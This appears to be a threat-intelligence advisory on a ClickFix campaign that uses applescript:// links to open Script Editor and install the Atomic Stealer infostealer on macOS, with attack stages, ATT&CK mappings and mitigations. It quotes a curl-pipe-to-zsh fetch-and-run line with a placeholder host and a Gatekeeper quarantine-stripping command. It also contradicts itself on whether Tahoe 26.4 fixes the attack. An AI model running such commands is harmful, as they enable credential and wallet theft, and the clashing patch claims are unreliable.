ClickFix macOS Script Editor Pivot — applescript:// Bypass of Tahoe Terminal Paste Warnings Delivers Atomic Stealer

ClickFix macOS Script Editor Pivot (TL-2026-0348), also tracked as ClickFix Script Editor Pivot, is a high-severity phishing campaign, first published 2026-04-10. It is attributed to ClickFix Operators (Russia) with medium confidence, affects Apple macOS, maps to 26 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 20 indicators of compromise.

Key facts for TL-2026-0348

Threat ID
TL-2026-0348
Also known as
ClickFix Script Editor Pivot, applescript:// ClickFix, AMOS ClickFix Tahoe Bypass
Severity
HIGH
Status
ACTIVE
Category
PHISHING
First published
2026-04-10
Last reviewed
2026-04-10
Attribution
ClickFix Operators
Attribution confidence
MEDIUM
Nation-state nexus
Russia
Motivation
FINANCIAL
Target sectors
technology, financial, creative-media, cryptocurrency, consumer, education, legal
Target regions
North America, Europe, Asia-Pacific, Global
Detection rules
9
Indicators of compromise
20

Malware and tooling in ClickFix macOS Script Editor Pivot

Malware and tooling: AMOS, Atomic Stealer, AMOS Panel, Script Editor.app, osascript

ClickFix social engineering campaigns have pivoted from Terminal.app to Script Editor on macOS, abusing the applescript:// URL scheme to auto-open a pre-filled AppleScript that executes `do shell script "curl ... | zsh"`. The switch sidesteps macOS Tahoe 26.4's new Terminal clipboard-paste warnings and still delivers the Atomic Stealer (AMOS) infostealer via a multi-stage downloader. Malwarebytes reports ClickFix accounted for more than half of all malware loader activity in 2025, and this new TTP is actively in the wild as of April 2026.

How ClickFix macOS Script Editor Pivot works

Overview

ClickFix is a social-engineering initial access technique that coerces victims into running attacker-supplied commands on their own machines, typically delivered through fake CAPTCHA pages, cracked software sites, SEO-poisoned search results, and malvertising. Historically on macOS, operators instructed victims to copy a 'fix' command and paste it into Terminal.app, where an obfuscated `curl | zsh` pipeline would download a second-stage infostealer (Atomic Stealer / AMOS being the most common payload).

In macOS Tahoe 26.4, Apple shipped a new anti-paste safeguard in Terminal.app that warns users when content is pasted into an interactive shell from an untrusted source, breaking the copy/paste execution flow that ClickFix operators relied on. Security researchers at Malwarebytes disclosed on April 10, 2026 that ClickFix crews have adapted by completely abandoning Terminal and instead invoking the `applescript://` URL scheme to auto-open Script Editor with a pre-filled 'maintenance' script. Script Editor does not implement Terminal's paste-warning prompts, and a single user click on the 'Run' triangle is sufficient to execute the attacker's payload.

Attack Chain

Stage 1 — Lure: The victim lands on an attacker-controlled page (often SEO-poisoned for queries such as 'how to reclaim disk space on mac', 'free up space macbook', 'mac running slow fix'). The page displays a fake Apple-branded dialog offering a one-click 'Apple Script' that claims to clean the Mac, followed by a spoofed 'Freed 24.7 GB' success animation designed to build trust.

Stage 2 — applescript:// Deep Link: The 'run' button triggers navigation to an `applescript://com.apple.scripteditor?action=new&script=<URL-encoded AppleScript>` URL. Safari (and most other macOS browsers) honor the scheme and hand the URL to LaunchServices, which in turn opens Script Editor with the attacker's script pre-populated in a new window. No download prompt is shown.

Stage 3 — AppleScript Execution: The pre-filled AppleScript body is cosmetically a maintenance routine but contains a `do shell script "curl -kSsfL https://<stage2-host>/<path> | zsh"` line. When the user clicks Run (or presses Command-R), Script Editor spawns `/bin/sh -c` under the user's context with full clipboard, keychain, and file-system access.

Stage 4 — Multi-Stage Downloader: The fetched stage-2 script is a base64-encoded zsh loader. It decodes and executes a stage-3 script named `helper` which performs host fingerprinting, disables Gatekeeper quarantine attributes via `xattr -d com.apple.quarantine`, and downloads the final Atomic Stealer Mach-O binary from a short-lived CDN endpoint.

Stage 5 — Atomic Stealer (AMOS): The final payload is an AMOS variant. It enumerates and exfiltrates: Safari/Chrome/Firefox/Brave/Edge cookies and saved passwords, macOS Keychain items (prompting the user with a cloned system password dialog via osascript if the keychain is locked), cryptocurrency wallet files (Exodus, Electrum, Atomic Wallet, Ledger Live, Coinomi, Trust Wallet, MetaMask browser extension storage), Telegram `tdata`, Discord tokens, Notes database, and SSH keys. Stolen data is archived and POSTed to a hardcoded C2 over HTTPS.

Novel Defensive-Evasion Aspect

The central innovation is the OS-level pivot from Terminal to Script Editor. Apple's 26.4 Terminal paste warning was explicitly designed to break ClickFix; operators responded within days by switching execution hosts to a sibling Apple-signed utility that ships on every Mac and parses the `applescript://` URL scheme automatically. The technique also bypasses any heuristic that keyed on clipboard-to-Terminal telemetry, because no clipboard interaction occurs — the script body is embedded directly in the URL and materializes inside a trusted Apple application window.

Impact and Scope

ClickFix was responsible for more than 50% of observed malware-loader activity in 2025 according to Malwarebytes telemetry and is the dominant initial-access vector for macOS infostealers including Atomic Stealer, Poseidon, Cthulhu Stealer, MacSync, and Infiniti. The Script Editor pivot effectively restores ClickFix's macOS conversion rate to pre-Tahoe-26.4 levels and will likely be adopted across infostealer families within weeks. Enterprises with macOS fleets are at risk of mass credential theft, browser session hijack, and downstream business-email-compromise (BEC) and cryptocurrency theft.

Recommended Mitigations

Update to macOS Tahoe 26.4 or later — Apple extended paste-warning heuristics to Script Editor in 26.4; older Tahoe builds and Sonoma/Sequoia/Ventura are unprotected. Deploy a configuration profile blocking or prompting for the `applescript://` URL scheme via LaunchServices handler overrides. Enforce MDM restrictions preventing Script Editor launch by non-admin users where feasible. Monitor for Script Editor spawning `/bin/sh`, `/bin/zsh`, or `curl` child processes via EDR. Block known ClickFix lure infrastructure and Atomic Stealer C2 at DNS/proxy. Train users that any webpage offering a one-click 'Apple script' to clean, repair, or optimize a Mac is malicious.

MITRE ATT&CK techniques used in TL-2026-0348

collection

T1005 Data from Local System; T1056 Input Capture; T1560 Archive Collected Data

defense-evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1564 Hide Artifacts

exfiltration

T1041 Exfiltration Over C2 Channel

execution

T1059 Command and Scripting Interpreter; T1204 User Execution; T1559 Inter-Process Communication

command-and-control

T1071 Application Layer Protocol; T1105 Ingress Tool Transfer; T1573 Encrypted Channel

discovery

T1082 System Information Discovery; T1083 File and Directory Discovery; T1217 Browser Information Discovery

initial-access

T1189 Drive-by Compromise; T1566 Phishing

credential-access

T1539 Steal Web Session Cookie; T1552 Unsecured Credentials; T1555 Credentials from Password Stores

defense-impairment

T1553 Subvert Trust Controls

resource-development

T1583 Acquire Infrastructure; T1608 Stage Capabilities

impact

T1657 Financial Theft

Affected products and versions in ClickFix macOS Script Editor Pivot

  • Apple — macOS
    Vulnerable versions: Ventura 13.x; Sonoma 14.x; Sequoia 15.x; Tahoe 26.0; Tahoe 26.1; Tahoe 26.2; Tahoe 26.3
    Fixed in: Tahoe 26.4
  • Apple — Script Editor.app
    Vulnerable versions: all versions prior to Tahoe 26.4
    Fixed in: bundled with macOS Tahoe 26.4
  • Apple — Safari
    Vulnerable versions: all versions — honors applescript:// via LaunchServices

Remediation for ClickFix macOS Script Editor Pivot

Patches

  • macOS Tahoe 26.4 — extends paste-warning heuristics to Script Editor and osascript (Apple, April 2026).

Immediate actions

  • Push macOS Tahoe 26.4 or later to all managed Macs via MDM — Apple extended paste warnings to Script Editor in this release.
  • Deploy a LaunchServices configuration profile that unbinds or prompts for the applescript:// URL scheme on end-user devices.
  • Block known Atomic Stealer C2 domains and IP ranges at perimeter DNS, proxy, and egress firewalls.
  • Alert users immediately: any 'click to run an Apple script' button on a webpage is malicious — do not click.

Workarounds

  • Remove or rename Script Editor (/System/Applications/Utilities/Script Editor.app) on hardened workstations.
  • Use `defaults write com.apple.LaunchServices LSHandlers` to redirect the applescript URL scheme to a no-op handler.
  • Deploy Browser Guard or equivalent extension that intercepts clipboard writes and suspicious URL-scheme navigations.

Longer-term hardening

  • Deploy an EDR with macOS behavioral detection for Script Editor spawning /bin/sh, /bin/zsh, curl, or osascript child processes.
  • Restrict Script Editor execution to admin users only via TCC/MDM configuration profile where business justification allows.
  • Implement browser-based clipboard and URL-scheme guardrails (e.g., Malwarebytes Browser Guard, uBlock Origin with custom rules) across the fleet.
  • Run periodic tabletop exercises on macOS infostealer response including mass credential rotation and keychain inventory.

Weaknesses (CWE) in ClickFix macOS Script Editor Pivot

CWE-1021, CWE-451, CWE-829, CWE-506

Timeline of ClickFix macOS Script Editor Pivot

  • ClickFix technique first widely documented by Proofpoint and other vendors as a social-engineering initial access vector using fake browser-update lures pasted into Windows Run dialog.
  • Atomic Stealer (AMOS) established as the dominant macOS infostealer sold on underground forums; initial access delivered via cracked software, malvertising, and SEO poisoning.
  • ClickFix operators widely adopt macOS Terminal.app as an execution host, telling victims to copy and paste curl-pipe-to-zsh commands from fake CAPTCHA and maintenance pages.
  • Malwarebytes publishes year-end telemetry showing ClickFix accounted for more than 50% of all malware loader activity observed in 2025 across Windows and macOS.
  • Apple ships macOS Tahoe 26.0 with a new Terminal.app clipboard-paste warning specifically targeting ClickFix-style copy/paste attacks on user-interactive shells.
  • Security vendors report a measurable drop in successful macOS ClickFix infections following broad adoption of macOS Tahoe 26.x Terminal paste warnings.
  • First in-the-wild samples observed using applescript:// URL scheme to auto-open Script Editor with pre-filled 'Reclaim Disk Space' maintenance script by Malwarebytes Labs telemetry.
  • Apple releases macOS Tahoe 26.4 which extends paste-warning heuristics to Script Editor and osascript invocations from URL schemes.
  • Threadlinqs Intelligence publishes TL-2026-0348 tracking the new TTP with detection coverage, attack simulation, and IOC intelligence.
  • Malwarebytes Labs publicly discloses the ClickFix Script Editor pivot with sample analysis showing Atomic Stealer as the final payload.
  • As of 2026-05-29, this ClickFix macOS Script Editor/applescript:// pivot delivering Atomic Stealer remains actively exploited in the wild, corroborated by Jamf, Malwarebytes, Microsoft (May 6 2026 report noting continued evolution), Sophos and Intego. No CVE/patch neutralizes it; Safari still honors applescript:// via LaunchServices and the financially-motivated AMOS ecosystem is spreading the TTP across families.

Sources cited for ClickFix macOS Script Editor Pivot

Threats related to ClickFix macOS Script Editor Pivot

Detection coverage for TL-2026-0348

As of 2026-04-10, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0348 across Splunk SPL, Microsoft KQL and Sigma, covering 20 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats